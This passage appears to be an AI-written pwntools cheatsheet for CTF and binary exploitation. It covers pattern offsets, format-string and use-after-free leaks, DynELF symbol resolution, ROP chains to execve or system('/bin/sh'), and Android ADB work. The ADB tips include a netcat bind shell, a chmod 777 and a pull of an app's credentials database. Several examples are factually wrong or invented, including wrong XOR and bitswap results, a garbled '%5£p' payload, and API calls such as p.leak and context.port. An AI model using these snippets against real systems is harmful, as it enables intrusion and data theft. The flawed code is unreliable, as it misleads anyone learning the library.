`cyclic_find(x)`	Find offset in pattern	`cyclic_find(0x61616162)` → 4
`cyclic(length=n)`	Exact length pattern	`cyclic(length=128)`
`cyclic.alphabet`	Change charset	`alphabet='ABCD'`
`cyclic.n`	Change sequence size	`n=8` (for 64-bit)

11.8 Pro Tips

- **Automate Crash Analysis**

```python
p = process('./vulnerable')
p.sendline(cyclic(500))
p.wait()
core = p.corefile
fault_addr = core.fault_addr
offset = cyclic_find(fault_addr)
```

- **Visualize Patterns**

```python
print(hexdump(cyclic(100)))
```

- **Combine with flat()**

```python
payload = flat(cyclic(offset), p64(win_addr))
```

This cheatsheet covers all essential `cyclic` operations for exploit development. The key workflow:

1. Generate pattern

2. Trigger crash
3. Find offset
4. Build payload

12 pwnlib.util.fiddling

Here's a **comprehensive cheatsheet** for `pwnlib.util.fiddling`, the module containing various helper functions for binary manipulation and data transformation:

12.1 Hex Encoding/Decoding

```
from pwn import *

# Hex encoding
hexed = enhex(b'ABCD')       # '41424344'
hexed = hexdump(b'ABCD')     # Pretty hexdump output

# Hex decoding
unhexed = unhex('41424344') # b'ABCD'
```

12.2 XOR Operations

```
# Single-byte XOR
xored = xor(b'ABCD', 0x41)  # b'\x00\x03\x02\x05'

# XOR with key string
xored = xor(b'ABCD', b'1234')  # b'pppp' (0x50)

# XOR with repeating key
xored = xor(b'ABCDEF', b'XY')  # b'\x18\x1a\x1e\x18\x1a\x1e'
```

12.3 Bit Manipulation

```
# Bit rotation
rotated = rol(0x1, 4, bits=8)  # 0x10 (rotate left)
rotated = ror(0x10, 4, bits=8) # 0x1 (rotate right)

# Bit flipping
flipped = bitswap(0b10110011)  # 0b11001101
```

12.4 String Manipulation

```
# String padding
padded = fit({8: b'ABCD'}, length=16)   # b'\x00'*8 + b'ABCD' + b'\x00'*4

# URL encoding
url_encoded = urlencode(b'AB CD')   # b'AB%20CD'
```

12.5 Checksums & Hashing

```
# CRC32
crc = crc32(b'ABCD')   # 0xed82cd11

# Adler32
adler = adler32(b'ABCD')   # 0x09e70195
```

12.6 Binary Analysis

```
# Check for printable chars
is_printable = isprint(b'\x41\x42\x01')  # False

# Find first differing byte
diff = diff(b'ABCD', b'ABXD')  # 2
```

12.7 Data Transformation

```
# Base64
b64 = b64e(b'ABCD')      # 'QUJDRA=='
orig = b64d('QUJDRA==')  # b'ABCD'

# Bitfield manipulation
bits = bits_str(0b1010)  # '1010'
```

12.8 Real-World Examples

12.8.1 XOR Decryption

```
encrypted = unhex('1e1a1e')
key = xor(encrypted, b'ABC')  # Find repeating key
```

12.8.2 Bit Flipping Attack

```
cookie = p32(0xdeadbeef)
flipped = xor(cookie, 0x01010101)
```

12.8.3 Hexdump Analysis

```
data = unhex('41424344')
print(hexdump(data))  # Pretty-print hexdump
```

12.9 Quick Reference Table

Function	Description	Example
`enhex()`	Bytes → hex str	`enhex(b'AB')` → `'4142'`
`unhex()`	Hex str → bytes	`unhex('4142')` → `b'AB'`
`xor()`	XOR operation	`xor(b'AB', 0x41)` → `b'\x00\x03'`
`hexdump()`	Pretty hexdump	`hexdump(b'ABCD')`
`rol()/ror()`	Bit rotation	`rol(1, 4, 8)` → `0x10`
`bitswap()`	Reverse bits	`bitswap(0b1011)` → `0b1101`
`b64e()/b64d()`	Base64 encode/decode	`b64e(b'A')` → `'QQ=='`
`isprint()`	Check printable	`isprint(b'\x41')` → `True`

12.10 10. Pro Tips

1. Combine with packing:

```
payload = xor(p32(0xdeadbeef), b'XXXX')
```

2. Use for crypto challenges:

```
possible = xor(encrypted_flag, b'CTF{')
```

3. Debug with:

```
print(hexdump(xor(data, key)))
```

This module is perfect for:

- Crypto challenges
- Binary protocol analysis
- Data transformation tasks
- Exploit payload manipulation

13 pwnlib.context

Here's a **comprehensive cheatsheet** for `pwnlib.context`, the configuration hub that controls pwntools' global behavior.

13.1 Basic Setup

```
from pwn import *
context.clear()  # Reset all settings

# Architecture/OS Configuration
context.arch = 'amd64'       # x86-64 (default: auto)
context.os = 'linux'         # linux/windows/android
context.bits = 64            # 32/64 (usually auto-set)
context.endian = 'little'    # little/big
```

13.2 Logging Control

```
context.log_level = 'debug'    # Maximum verbosity
context.log_level = 'info'     # Normal output (default)
context.log_level = 'warn'     # Only warnings
context.log_level = 'error'    # Only errors
context.log_level = 'silent'   # No output

# Custom logging
context.log_file = './exploit.log'  # Log to file
```

13.3 Binary Exploitation Settings

```
# Security settings
context.terminal = ['tmux', 'splitw', '-h']  # GDB terminal
context.aslr = False         # Disable ASLR in subprocesses
context.proxy = 'socks5://localhost:9050'  # Tor proxy

# Exploit constants
context.timeout = 5          # Default timeout (seconds)
context.delete_corefiles = True  # Clean up core dumps
```

13.4 Assembly/Shellcode Defaults

```
context.arch = 'arm'         # ARM assembly
context.thumb = True         # THUMB mode (ARM only)
context.vex = False          # Intel syntax (default)
context.signed = False       # Unsigned packing (default)

# Example effect:
asm('mov eax, 1')            # Uses current arch
```

13.5 Network Settings

```python
context.localhost = '127.0.0.1'  # Default bind address
context.port = 8888          # Default port
context.buffer_size = 4096   # Network buffer size
```

13.6 Context Managers

```python
# Temporary settings
with context.local(arch='i386'):
    print(asm('push eax'))  # Uses i386

# Nested contexts
with context.silent:
    with context.local(log_level='debug'):
        debug_msg = p.recvline()  # Only this shows
```

13.7 Real-World Configurations

CTF Setup

```python
context.update(
    arch='amd64',
    os='linux',
    log_level='debug',
    terminal=['tmux', 'splitw', '-h']
)
```

Windows Exploitation

```python
context.clear()
context.os = 'windows'
context.arch = 'i386'
context.log_level = 'info'
```

Android Exploits

```python
context.os = 'android'
context.arch = 'arm'
context.bits = 32
```

13.8 Quick Reference Table

Setting	Description	Common Values
`arch`	CPU architecture	`amd64`, `i386`, `arm`, `mips`
`os`	Target OS	`linux`, `windows`, `android`
`bits`	Address size	`32`, `64`
`endian`	Byte order	`little`, `big`
`log_level`	Output verbosity	`debug`, `info`, `error`, `silent`
`terminal`	GDB terminal	`['tmux', 'splitw']`, `['gnome-terminal', '-e']`
`timeout`	I/O timeout	Seconds (default: `default`)
`aslr`	ASLR in subprocesses	`True`, `False`

13.9 Pro Tips

1. **Always set** `arch` before assembly:

```
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
```

2. **Debug with verbose logging**:

```
with context.local(log_level='debug'):
    p = process('./binary')
```

3. **Use temporary contexts**:

```
with context.quiet:  # Suppress output
    leak = p.recvline()
```

4. **Platform-specific defaults**:

```
if args.REMOTE:
    context.update(os='linux', timeout=3)
```

This cheatsheet gives you **precise control** over pwntools' behavior. Remember:

- Set `arch`/`os` early
- Adjust `log_level` for debugging
- Use `context.local()` for temporary changes
- Combine with other modules (like `asm`/`shellcraft`) for full effect

14 pwnlib.memleak

Here's a **powerful cheatsheet** for `pwnlib.memleak`, the module designed for advanced memory leak exploitation.

14.1 Basic Memory Leak

```
from pwn import *

# Leak 4 bytes at address 0x8048000
leak = p.leak(0x8048000)          # Default: 4 bytes
leak = p.leak(0x8048000, 8)       # Get 8 bytes
print(hex(u32(leak)))             # Unpack as 32-bit
```

14.2 Format String Leaks

```
# Leak stack value at offset 5
fmt_leak = fmtstr_payload(5, {})  # %5£p payload
p.sendline(fmt_leak)
leak = int(p.recvline(), 16)      # Parse hex output
```

14.3 DynELF - Automated Leaking

```
def leak(addr):
    p.sendline(f'%7$s'.ljust(8) + p64(addr))
    data = p.recv(4)
    return data

d = DynELF(leak, elf=ELF('./binary'))
system_addr = d.lookup('system', 'libc')
```

14.4 Advanced Leak Techniques

```
# Leak libc address (PIE/PIC)
payload = b'A'*offset + p8(0x50)   # Partial overwrite
p.send(payload)
leak = u64(p.recvline()[:-1].ljust(8, b'\x00'))
```

Partial Overwrite Leak

```
# Use-after-free leak
alloc(0, p64(elf.got['puts']))    # Corrupt freed chunk
leak = u64(show(0).ljust(8, b'\x00'))
```

Heap Leak via UAF

14.5 Memory Search

```
# Search for libc in memory
libc_base = p.libc.find_base()    # If libc loaded

# Manual search
for addr in range(0x400000, 0x401000, 0x1000):
    if b'\x7fELF' in p.leak(addr, 4):
        elf_base = addr
        break
```

14.6 Leak Protection Bypass

```
# Null-byte avoidance
leak = p.leak(0x8048000).replace(b'\x00', b'')

# One-byte-at-a-time
def safe_leak(addr):
    return p.leak(addr, 1)  # Slow but reliable
```

14.7 Real-World Example

```
# Leak libc from GOT
puts_got = elf.got['puts']
p.sendline(f'%{puts_got}$p'.encode())  # Format string
puts_leak = int(p.recvline(), 16)
libc.address = puts_leak - libc.sym['puts']
```

14.8 Quick Reference Table

Technique	Command	Usage
Direct leak	`p.leak(addr)`	Basic memory read
DynELF	`DynELF(leak_fn)`	Automated libc resolve
Format string	`%n$p`	Stack/heap leaks
Partial overwrite	`p8/p16(addr)`	ASLR bypass
UAF leak	Heap manipulation	Heap metadata
Memory search	`find_base()`	Locate mappings

14.9 Pro Tips

1. Always unpack leaks correctly:

```
leak = u64(p.leak(libc.sym['puts']).ljust(8, b'\x00'))
```

2. For 32-bit:

```
leak = u32(p.leak(addr))
```

3. Combine with `DynELF` for automated exploitation:

```
d = DynELF(leak, elf=elf)
system = d.lookup('system')
```

This cheatsheet covers **modern memory leak techniques** used in CTFs and real-world exploits.

- Use `p.leak()` for direct memory access
- `DynELF` automates libc resolution
- Format strings are powerful for stack leaks
- Partial overwrites bypass ASLR/PIE

15 pwnlib.rop

Here's a **comprehensive cheatsheet** for `pwnlib.rop`, your ultimate toolkit for Return-Oriented Programming (ROP) chain construction.

15.1 Basic ROP Chain Setup

```
from pwn import *

context.arch = 'amd64'  # Always set architecture first!
elf = ELF('./binary')

# Initialize ROP object
rop = ROP(elf)  # Auto-loads gadgets from binary

# Build chain
rop.call('puts', [elf.got['puts']])
rop.call('main')  # Return to main after

# Get raw bytes
payload = rop.chain()
```

15.2 Common Gadget Operations

```
# Register control
rop.rax = 0x3b            # sys_execve
rop.rdi = next(elf.search(b'/bin/sh'))
rop.rsi = 0               # argv
rop.rdx = 0               # envp

# Stack operations
rop.raw(0xdeadbeef)       # Direct value
rop.ret                   # Add ret gadget

# Memory writes
rop.write(addr, value)    # Write arbitrary memory
```

15.3 Automatic Gadget Finding

```
# Find specific gadgets
rop.rbp = 0x1234          # Auto-finds 'pop rbp'
rop.rax = 0x3b            # Auto-finds 'pop rax'

# Manual gadget use
rop(rax=0x3b, rdi=0x1000) # Finds multi-pop gadgets

# Search for gadgets
rop.find_gadget(['pop rdi', 'ret'])[0]
```

15.4 Function Calling Convention

```
# 32-bit (stack-based)
rop.call('system', [next(elf.search(b'/bin/sh'))])

# 64-bit (register-based)
```

```
rop.execve(next(elf.search(b'/bin/sh')), 0, 0)

# With libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop.call(libc.sym['system'], [bin_sh])
```

15.5 Stack Pivoting

```
# Classic pivot
rop.raw(rop.find_gadget(['pop rsp', 'add rsp, 0x28', 'ret'])[0])
rop.raw(stack_address)  # New stack location

# Frame faking
rop.leave               # mov rsp, rbp; pop rbp
```

15.6 Debugging & Inspection

```
print(rop.dump())       # Show chain in human-readable form

# Gadget searching
print(rop.gadgets)      # All found gadgets
print(rop.ret)          # Address of ret gadget
```

15.7 Real-World Examples

```
rop = ROP([elf, libc])
rop.execve(
    next(elf.search(b'/bin/sh')),
    0,  # argv
    0   # envp
)
```

64-bit execve()

```
rop.call('system', [next(elf.search(b'/bin/sh'))])
rop.exit(0)  # Clean exit
```

32-bit system()

```
rop.write(elf.got['printf'], libc.sym['system'])
```

Write-what-where

15.8 Quick Reference Table

Command	Description	Example
`ROP(elf)`	Create ROP object	`rop = ROP([elf, libc])`
`.call()`	Call function	`rop.call('puts', [addr])`
`.raw()`	Add raw data	`rop.raw(0xdeadbeef)`
`.ret`	Add ret	`rop.ret`
`.find_gadget()`	Find gadget	`rop.find_gadget(['pop rdi'])[0]`
`.dump()`	Print chain	`print(rop.dump())`
`.migrate()`	Stack migrate	`rop.migrate(new_stack)`

15.9 Pro Tips

1. **Chain Optimization**:

```
context.terminal = ['tmux', 'splitw', '-h']
rop = ROP(elf, base=stack_addr)  # For PIE
```

2. **Gadget Searching**:

```
rop.find_gadget(['pop rdi', 'pop rsi', 'ret'])
```

3. **Combine with Leaks**:

```
rop.call(leaked_system, [bin_sh])
```

4. **Debug with GDB**:

```
rop.debug()  # Breakpoint before chain execution
```

This cheatsheet gives you **surgical control** over ROP chain construction. Remember:

- Always set `context.arch`
- Use `.dump()` to verify chains
- Combine with memory leaks for ASLR/PIE bypass
- Stack pivots enable complex chains

For CTFs, the `rop.call('system', [bin_sh])` combo works 80% of the time!

16 pwnlib.dynelf

Here's a **powerful cheatsheet** for `pwnlib.dynelf`, the module for resolving remote symbols when you don't have the target libc.

16.1 Basic Setup

```
from pwn import *

def leak(addr):
    payload = fit({offset: p64(addr)})  # Create leak payload
    p.send(payload)
    data = p.recv(4)                   # Read 4 bytes
    return data

d = DynELF(leak, elf=ELF('./binary'))  # Initialize resolver
```

16.2 Key Functions

```
system_addr = d.lookup('system', 'libc')
puts_addr = d.lookup('puts', 'libc')
```

Resolve Symbols

```
libc_base = d.libbase  # After first lookup
```

Find Libc Base

16.3 Leak Function Requirements

Your `leak` function must:

1. Accept an address argument
2. Return exactly 4 bytes (can pad with nulls)
3. Handle errors gracefully (return empty string on failure)

Example robust leak:

```
def leak(addr):
    try:
        p.sendline(f'%7$s'.ljust(8) + p64(addr))
        data = p.recv(4, timeout=0.5)
        return data if data else b'\x00'
    except:
        return b'\x00'
```

16.4 Real-World Example

```python
# Exploit using leaked system()
rop = ROP(elf)
rop.call(d.lookup('system', 'libc'), [next(elf.search(b'/bin/sh'))])
p.sendline(flat({offset: rop.chain()}))
```

16.5 Advanced Features

```python
# Resolve from specific library
open_addr = d.lookup('open', 'libc.so.6')

# Search all loaded libraries
exit_addr = d.lookup('exit')
```

Multiple Libraries

```python
d = DynELF(leak, elf=ELF('./binary'), libc=0xf7dc2000)
```

Manual Base Address

16.6 Troubleshooting

Problem: Leaks fail randomly
Solution: Add error handling and retries:

```python
def leak(addr):
    for _ in range(3):  # Retry 3 times
        try:
            # Your leak attempt
            return data
        except:
            pass
    return b'\x00'
```

16.7 Quick Reference Table

Command	Description	Example
`DynELF(leak, elf)`	Create resolver	`d = DynELF(leak, elf)`
`.lookup(sym, lib)`	Find symbol	`d.lookup('system')`
`.libbase`	Get libc base	`print(hex(d.libbase))`
`.elfbase`	Get binary base	`print(hex(d.elfbase))`

16.8 Pro Tips

- **Cache results** after first successful lookup
- **Combine with ROP**:

```python
rop.call(d.lookup('system'), [bin_sh])
```

- **For 64-bit**, ensure your leak handles 8-byte addresses
- **Debug with**:

```
context.log_level = 'debug'
```

This cheatsheet enables **remote libc-less exploitation** by:

- Resolving symbols dynamically
- Handling ASLR automatically
- Working without libc downloads
- Integrating with ROP chains

Remember: A reliable `leak` function is 90% of the battle!

17 pwnlib.adb

Here's a **comprehensive cheatsheet** for `pwnlib.adb`, the module for Android Debug Bridge (ADB) exploitation:

1. Basic ADB Setup

```
from pwnlib.adb import *

# Connect to device
dev = adb.device()  # Auto-connects to first device
dev = adb.device(serial='emulator-5554')  # Specific device
```

17.1 Device Management

```
# List devices
print(adb.devices())  # [(serial, status)]

# Connect/disconnect
adb.connect('192.168.1.100:5555')  # Network device
adb.disconnect()

# Kill server
adb.kill_server()
```

17.2 File Operations

```
# Push/pull files
dev.push('local.txt', '/data/local/tmp/remote.txt')
dev.pull('/system/build.prop', 'local_build.prop')

# File listing
files = dev.ls('/data/data/com.app/')

# Direct file access
with dev.open('/proc/version', 'r') as f:
    print(f.read())
```

17.3 Process Control

```
# Run shell commands
output = dev.shell('id')  # 'uid=0(root) gid=0(root)'

# Start interactive shell
sh = dev.interactive_shell()  # Returns tube
sh.sendline('whoami')

# Process listing
procs = dev.ps()  # Returns list of (pid, name)
```

17.4 Package Management

```
# List packages
packages = dev.packages()  # ['com.android...', ...]

# Package info
info = dev.package_info('com.example.app')

# Install/uninstall
dev.install('app.apk')
dev.uninstall('com.example.app')
```

17.5 Port Forwarding

```
# Local port forwarding
dev.forward(31337, 1234)  # host:31337 → device:1234

# Reverse forwarding
dev.reverse(8888, 1234)   # device:8888 → host:1234
```

17.6 Advanced Exploitation

```
# Check root
if not 'root' in dev.shell('id'):
    dev.root()  # Attempt root (if possible)

# Run as root
dev.shell('su -c "chmod 777 /data/data"')
```

Root Access

```
# Spawn process with Frida
dev.frida_spawn('com.example.app')
```

Frida Integration

17.7 Real-World Examples

```
dev.pull('/data/data/com.vuln.app/databases/credentials.db')
```

Dump App Data

```python
# Start activity with debug flags
dev.shell('am start -D -n com.app/.MainActivity')

# Forward JDWP port
dev.forward(8000, 'jdwp:1234')  # 1234 from ps
```

Dynamic Analysis

17.8 Quick Reference Table

Command	Description	Example
`adb.device()`	Connect to device	`dev = adb.device()`
`dev.shell()`	Run command	`dev.shell('ls -l')`
`dev.push()/pull()`	File transfer	`dev.push('exp', '/data/')`
`dev.ps()`	List processes	`print(dev.ps())`
`dev.forward()`	Port forward	`dev.forward(8000, 1234)`
`dev.packages()`	List apps	`'com.vuln.app' in dev.packages()`
`dev.root()`	Get root	`dev.root()`

10. Pro Tips

1. **Always check root first:**

```python
if 'root' not in dev.shell('id'):
    dev.root()
```

2. **Use busybox for better shell:**

```python
dev.shell('busybox nc -lp 4444 -e /bin/sh')
```

3. **Debug with logcat:**

```python
dev.shell('logcat | grep "exploit"')
```

4. **For emulators:**

```python
adb.connect('localhost:5555')
```

This cheatsheet transforms your Android exploitation workflow with:

- Direct Python-controlled ADB access
- Seamless file/process management
- Root escalation helpers
- CTF-ready exploitation primitives

Remember: `adb.root()` works on **test devices**, but rarely on production phones!